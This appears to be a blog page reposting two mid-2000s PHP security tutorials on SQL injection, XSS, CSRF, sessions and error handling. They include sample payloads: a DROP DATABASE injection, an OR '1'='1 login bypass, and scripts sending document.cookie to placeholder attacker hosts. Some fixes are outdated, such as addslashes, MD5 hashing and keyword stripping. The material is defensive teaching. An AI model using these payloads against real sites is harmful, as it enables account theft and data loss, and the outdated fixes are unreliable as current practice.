Skip navigation.

JL空间

contact to me: liuping.james#gmail.com (use @ replace #)

Posts tagged with "security"

[zz]Basic PHP Script Security

,

article from:http://templora.com/content/14

Basic PHP Script Security
Thumbnail

by Void | in PHP | posted December 06, 2006

Default starDefault starDefault starDefault starDefault star (0 votes) | 1763 views

Basic PHP script security covers issues like prevention of SQL injections, XSS and CSRF attacks, variable tampering, etc.

Add to del.icio.us | Digg! Digg this | Dot This
You must login in order to rate this.
The Security of PHP scripts has become a major issue lately. The very power and flexibility of PHP scripting architecture has become its major vulnerability, if certain simple steps are not taken to protect the script. The simple ability to take data from a webpage is also a potential gateway for a variety of attacks that aim to steal information from databases, or to corrupt that data. Not only server-side data is at risk, but attacks are possible that may harm all the visitors of the site by simple injection of malicious code.

For the purpose of this tutorial we have listed some commonly known attacks, and how to protect against them. This is crucial for beginners in PHP because PHP tutorials and basic documentation does not accentuate this problem enough. Examples are given that are vulnerable to attacks, and students are either not aware of the vulnerabilities, or are not adequately educated how to protect their scripts.

In addition, the types of attacks presented here are not limited only to PHP, since they exploit standard HTTP request/response protocol which is available to any server-side scripting language.


SQL Injection

SQL injection is a security threat that appears wherever a PHP script is presenting data from a database, taking as input some identification of the content that needs to be presented, for instance with content management systems, or even simple scripts that return simple data. As long as input identification is inserted into SQL for data retrieval, the threat exists!

Let's look at a simple example. Let's say that you have a script that presents web pages according to user selection which is passed through URL variable 'page=':

index.php?page=links

This script then takes page identifier in variable 'page' and puts it into SQL query to fetch the page with that identifier:

PHP:

<?php
$page= $_GET['page'];
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1");
?>



The above is very common example of content retrieval. And a very vulnerable one. All it takes for the attacker is to bypass your single quotes and insert some malicious code. And all the attacker needs is to pass one simple string through the URL:

index.php?page=%27%3B%20DROP%20DATABASE%20--

The above is valid URL request, and server will parse the encoded characters into '; DROP DATABASE which effectively closes the single quotes of your original query, ends it with a semicolon and inserts new directive that drops your entire database and comments out everything else you may have in your SQL. And buh-bye database! Gone. Deleted.

Of course, this is a blatant example that does not need to work, especially if user-level the script is using does not allow dropping entire database. But, it can do a variety of other things, like selecting usernames or passwords, or inserting passwords where ID=1 which is usually the admin's user id, etc... Or it can bypass WHERE clauses with simple 'OR WHERE 1=1' and avoid password checks for example, or any other data retrieving filter you may have had, especially because data passed through URLs for content retrieval is usually a filter in a WHERE clause.

Naturally, it is difficult for the attacker to know the structure of your tables and fields if he/she did not see the code. With some guessing and luck he or she may be able to extract the structure, especially if your scripts visibly report errors (which is another security threat we'll deal with later). But what about open-source projects where code is available for everyone? Incidentally, open-source projects are frequent targets of attackers that seek loopholes in thousands of lines of code managed by many people who can easily omit a hole or two.

The most simple way to protect against such SQL injections is to escape sensitive characters like single or double quotes. It is best to use database-native functions for that, and in the case of our example, and MySQL, the proper handling would be:

PHP:

<?php
$page= mysql_real_escape_string ($_GET['page']);
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1");
?>



One much better way to protect against SQL injections is to use numeric identifiers wherever possible, so instead of index.php?page=links use ?page=1 and cast all data from this variable into integer:

PHP:

<?php
$page= (int) $_GET['page'];
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id={$page} LIMIT 1");
?>



Another way is to filter the variable for allowed characters. For simple identifiers, allowed characters are usually alphanumeric (a-z0-9), which can be a case with simple page retrieval. Filter with preg_match:

PHP:

<?php
$matches= array();
preg_match ('/^([a-z0-9])$/i', $page, $matches);
//Find page identifier in $matches[1]
?>



And of course, keep your code to yourself if at all possible. So, to recapitulate, to protect against SQL-injections, very useful methods are:

* Using integers as data identifiers wherever possible
* Escaping all string inputs that may contain sensitive characters
* Filtering input identifiers for allowed characters
* Keeping the code to yourself



As a final note, since we used $_GET variable for example, same threat exists for POST-ed data. Since http request headers are text based, over TCP/IP type connection, it is very easy for the attacker to write a program (in C for example) that opens a connection to your script and sends malicious requests through POST'ed data.


XSS Attacks

XSS, or Cross Site Scripting Attacks, are attacks aimed at identity theft and stealing passwords from the users of a website (and sometimes more). XSS attacks do not threat directly the database like SQL injections do, but threat all users, especially admins that have high privileges in operating a website.

A Cross Site Scripting attack consists of inserting usually Javascript code, into any content that will be presented to the users, like in Blogs, Forums, Comments, etc... By inserting such malicious Javascript code, they can effectively "hijack" user's browser with Javascript and perform attack, usually without user's knowledge.

Most often, XSS attacks steal data from cookies. A valid browser, and a properly set cookie, will send a cookie only to the domain from where it was set. Combine this with the fact that cookies are used to pass user authentication data, sometimes even passwords, and especially session data since. Therefore Javascript is used to fetch local cookies aimed at the domain in question, and to send them to a third party domain - the attacker's domain - where the attacker can read its contents.

For example, an XSS attack can insert the following code inside a forum post, or blog comment post. It will not be visible to users (unless they look at the page source):

Code:


<script>
document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document.cookie;
</script>



Now, let's see what happens here. The script routes your browser to the attacker's domain, and in the URL request passes local cookie data to a remote script on the attacker's server. The script receives the cookie data, and the attacker can view its contents.

Of course, the above example is visible, since your browser is suddenly directed to a third-party website. However, a clever attacker can wrap the URL request inside tag, and remote (attacker's) server will return a valid image, but will also receive the cookie data in the image request:

Code:


<script>
document.getElementById('some_div').innerHTML= '';
</script>



And there you go, the user's cookie data is sent to the attacker. Now, if the user is admin, and cookies contained session data, and/or passwords or usernames, a great deal of damage can be done if the attacker gets hold of admin's password.

In order to protect your site against XSS attacks, you need to filter all input. Wherever there is some string data that will be presented back to users (usernames, forum posts, blog posts, comments, etc...) you need to filter that data. The most simple filtering against XSS is to encode all HTML entities, where < becomes <, > becomes > and browsers will not parse any tags inside them as valid HTML tags that would enable Javascript. PHP has one very useful little function for that, namely the htmlentities().

More complex filtering involves solving for character encoding hacks, pre-escaped characters that with additional escaping revert to HTML tags, writing routines that seek out malicious script combinations, etc...

In addition to input filtering, make sure your cookies do not carry any sensitive data, like passwords or usernames.

As a test, to check out if your filtering is moderately sufficient, try to insert something like this:

Code:


<script>
alert("This is XSS!");
</script>




CSRF Attacks

Cross Site Request Forgery Attacks are similar to XSS in that the attacker posts malicious code to a forum, blog comment, or any other interactive part of the website that will return that content (and code) to users.

Unlike XSS, however, CSRF does not need Javascript. Plain HTML or even BBCode is sufficient, so this makes CSRF the sneakiest of attacks that need careful handling.

Let's start with one simple example. Let's say that your website has a script called delete.php that deletes some content in the database. It takes numeric ID as input to identify the content that needs deletion:

delete.php?id=123

Let's say that the attacker knows of this script. All the attacker needs to do is to insert an image request with SRC set to this script, in a forum post for example, even using BBCode:

[img]http://attackedsite.com/delete.php?id=123

Server would translate this to a valid HTML image tag. Anyone who visits the page where this code is presented, will have their browsers issue a call to the above script, and if the script is not protected, it will delete content with ID=123.

This may not sound as a big threat until you perhaps imagine what would happen if the admin visits the page with malicious code. No Javascript, no illegal characters, a simple image request. The admin is probably logged-in, and has proper authentication so even if the delete.php script solves for authentication (only admins can delete with it), the admin is the one who's browser issued the call, so damage is done!

Fortunately, though, there are ways to prevent CSRF attacks to certain extent:

First and foremost, this works only with GET requests, since there is no other sneaky way to issue a hidden call without an image (and without a script, which is solved with XSS protection), except maybe framed pages and/or iframes which are harder to insert into a forum (or blog) post that usually disables such tags. Therefore, move all your sensitive data inputting to POST, instead of GET. This may make your simple administration scripts a bit complex, since in order to POST data you need a form, whereas with GET you can put a simple link somewhere.

And, of course, have all your potentially damaging scripts require a second confirmation. So, even if a CSRF attack happens, you will need to confirm the (damaging) request.

One other additional protection is to compare timestamps. Have the forms with which you issue calls to potentially damaging scripts carry a timestamp, and inside the (damaging) script compare the timestamp from the form with current timestamp. If the difference is greater than, say, 10 seconds, do not perform the potentially damaging action. There is a logic behind this. When you access the page where you need to click to delete some content, you have 10 seconds to click it, after which the script will reject deleting (reload to reset timestamps, of course). So, when you reach a page with CSRF attack against you, if you visited that page more than 10 seconds ago, the attack will not work.

Note that this protection is not perfect. In some complex AJAX application that takes data via URL (GET), does something to it, and passes it to a server script via POST, it is possible to pipe a CSRF attack, if the attacker knows your software arhitecture - as is the case with open-source software.


PHP variable insertion

This is a security threat that is mostly patched nowadays, but from time to time I come across servers without the patch so I guess it should be mentioned.

Back in the old days of PHP before PHP 4, it was common to pass data to PHP scripts directly as registered global variables. For example:

script.php?somevar=blahblah&anothervar=123

If your PHP server settings allow registered globals, variables somevar and anothervar will become global PHP variables $somevar (containing string "blahblah") and $anothervar (containing integer 123).

Sounds fun, since you don't need to use cumbersome $_GET['somevar'] and $_GET['anothervar'] (try to fast-type these too and you'll know what I'm talking about). But also it poses a security threat. Not by itself, of course, but by bad script design that misses to initialize variables before use, for example. If the attacker somehow finds out your variable names in your scripts (open-source, anyone?) and finds that you are using a variable without initializing it first, all he or she needs to do is to pass some value to that variable via URL as in the example above.

What does using "uninitialized" variables mean? It means you are using contents of a variable which you didn't use or set before:

PHP:

<?php if ($a=1) $somevar="thisorthat";
$res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')");
?>



A beginner PHP programmer will assume that $somevar is NULL, if $a is not 1, so SQL will be valid. But a hacker will see the opportunity!

So, the most simple way to protect your scripts from such registered globals, is to turn the register_globals directive OFF. Most PHP servers nowadays have this by default, but always check your PHP.ini (where the directive is) to make sure.

If you don't have access to PHP.ini, write an empty script with one simple call to phpinfo(); That will print out server settings and you can see if register_globals is on or off.

If you can't modify your PHP.ini, you can set this directive through .htaccess, if the server settings allow you to:

php_flag register_globals off

Or, call your server administrator and demand this directive in your PHP.ini.

Speaking of phpinfo(), and as we have mentioned earlier, it is wise to set your PHP server to suppress any output of errors, except to a log file. Because, error reporting can reveal sensitive information about your webiste: script location in the server and database table structure, if SQL error is being reported. PHP4 and above, by default, does not report MySQL SQL errors, so admins write their own code to report SQL errors. Be careful where you report such errors. You don't want everyone to know your tables structure.


Input validation

Last but not least, one additional step in protecting your scripts and content is input validation. Validate ALL data that your scripts receive. See if all POST vars are in place, since attackers may try to send partial POST requests to try and crash your site, and respond properly. Initialize ALL your variables (regardless of register_globals directive) before you use them, to a default value. Check for allowed characters in string variables, and allowed ranges in integer variables, especially if these are used as identifiers in the database.

In addition, do another such validation via Javascript. Valid users will have Javascript check for errors, and hackers will try to avoid Javascript and send data directly. In this case, when your scripts recognize such errors, do not report, simply silently route to your main index.php. This will leave hackers in darkness, they will not know if their attempt did anything wrong, they will not have access to the logic in your code.

You can also track IPs of attempted SQL injections, and automatically ban users who attempted an attack. This works effectively with double protection, where Javascript ensures legitimate users to pass valid data, and all invalid data therefore belongs to hackers, so you can cut them off automatically and effectively.

Note that with this last you introduce a drawback to your website. Hackers can exploit automatic banning and do a series of attacks from major provider IP addresses, effectively shutting down your site to legitimate users who access your site from same provider IPs. So, be careful how and when you ban your users.


Final Notes

In this tutorial we have covered some common PHP script security threats. You are advised to seek out more information on the subject since hackers are becoming smarter and smarter every day, devising new ways to hack into your system. Also, the solutions presented in this tutorial are not all that there is, but are most common ways of patching. There are surely better and more clever ways to protect your scripts.

At any rate, if you're beginner in PHP, make sure you incorporate protections presented here in your coding so that it becomes automatic. So automatic that you never, ever insert value from a variable into SQL without escaping sensitive chars or typecasting to int, for example, since SQL injections are always attempted first, when attacking a server.

[zz]Top 5 PHP Security Mistakes

,

article from: http://www.whenpenguinsattack.com/2006/07/06/top-5-php-security-mistakes/

Top 5 PHP Security Mistakes
July 06th, 2006 | Category: php security

Unvalidated Input Errors

One of — if not the — most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it’s certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we’ll discuss later in this article.
As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.

$month = $_GET[month];
$year = $_GET[year];

exec(”cal $month $year”, $result);

The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.

$month = $_GET[month];
$year = $_GET[year];

if (!preg_match(”/^[0-9]{1,2}$/”, $month))
die(”Bad month, please re-enter.”);
if (!preg_match(”/^[0-9]{4}$/”, $year))
die(”Bad year, please re-enter.”);
exec(”cal $month $year”, $result);

Access Control Flaws

Another type of flaw that’s not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.

You should check the user’s credentials upon every load of a restricted page of your PHP application. If you check the user’s credentials on the index page only, a malicious user could directly enter a URL to a “deeper” page, which would bypass this credential checking process.

It’s also advisable to layer your security, for example, by restricting user access on the basis of the user’s IP address as well as their user name, if possible. Placing your restricted pages in a separate directory that’s protected by an apache .htaccess file is also good practice.

Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that’s not Web-accessible, possibly including an .htaccess file containing “deny from any”. Though this is redundant, layering security is a positive thing.

For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that’s stored in the .htpasswd file in the root directory of the site.
/home /httpd /www.example.com .htpasswd /includes cart.class.php config.php /logs access_log error_log /www index.php /admin .htaccess index.php
You should set your Apache directory indexes to ‘index.php’, and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.

Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. If you do this, the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable — it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.

Session ID Protection

Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user’s session, but if this ID is known to another user, that person can hijack the user’s session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.

For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.

A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.

If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that’s keyed to the session ID rather than as a session variable. If you must store a password in a session variable, do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.

if ($_SESSION[password] == $userpass) { // do sensitive things here }

The above code is not secure, since the password is stored in plain text in a session variable.

Instead, use code more like this:
if ($_SESSION[sha1password] == sha1($userpass)) { // do sensitive things here }

The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must — since it’s superior to a clear text-saved password — but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.

For further reading on hash collisions, among other security related topics, Bruce Schneier’s Website is a great resource.
Cross Site Scripting (XSS) Flaws
Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands — usually JavaScript — in data that is displayed and therefore executed by another user.

For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a script tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users’ cookie and session information, and use this data in a session hijacking or other attack on your site.

document.location = ‘http://www.badguys.com/cgi-bin/cookie.php?’ + document.cookie;
To prevent this type of attack, you must perform user input validation by disallowing any script tags from being submitted to your forms. Always convert the characters in user input that may be viewed by other users to < and >. Additionally, it may be wise to convert the parenthesis, ampersand, and hash (#) characters to their HTML entity equivalents.

SQL Insertion Vulnerabilities

SQL insertion vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.

SELECT * FROM users WHERE name=’$username’ AND pass=’$password’;
However, if the user who’s logging in is devious, he may enter the following as his password:
‘ OR ‘1′=’1

This results in the query being sent to the database as:
SELECT * FROM users WHERE name=’known_user’ AND pass='’ OR ‘1′=’1′;
This will return the username without validating the password — the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, ensure that your magic_quotes_gpc PHP ini variable is turned on, which is the default in most recently released versions of PHP. If you’re developing software that may be installed on shared servers where the end user might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned off, pass any user input that will be used in a database query through the addslashes() function, as shown below.
if (magic_quotes_gpc()){
$username = $_GET[”username”];
} else {
$username = addslashes($_GET[”username”]); }

Do not use addslashes() on your input if magic_quotes_gpc is on, as this will double escape your input and lead to problems.
SQL Insertion flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.

You should always check user-provided data that will be used in a query for the characters ‘”,;() and, possibly, for the keywords “FROM”, “LIKE”, and “WHERE” in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they’re unnecessary, you’ll have much less to worry about from this type of flaw.

Error Reporting

You should ensure that your display_errors php.ini value is set to “0″. Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user’s browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.

The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.

Instead of displaying errors, set the error_log ini variable to “1″ and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
December 2009
S M T W T F S
November 2009January 2010
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31